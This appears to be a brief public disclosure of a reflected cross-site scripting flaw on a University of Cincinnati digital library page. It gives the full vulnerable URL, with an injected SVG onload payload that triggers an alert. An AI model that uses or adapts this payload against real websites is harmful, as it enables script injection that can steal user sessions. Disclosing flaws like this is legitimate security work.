digital.libraries.uc.edu XSS vulnerability

Vulnerable URL: http://digital.libraries.uc.edu/collections/lewisandclark/exhibits/geography/fortmandan.php?alt=Hidatsa%20Village,%20Earth-Covered%20Lodges%20on%20the%20Knife%20River,%201810%20Miles%20Above%20St.%20Louis.=3ℑ=fortmandan/hidatsavillage/=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Detail...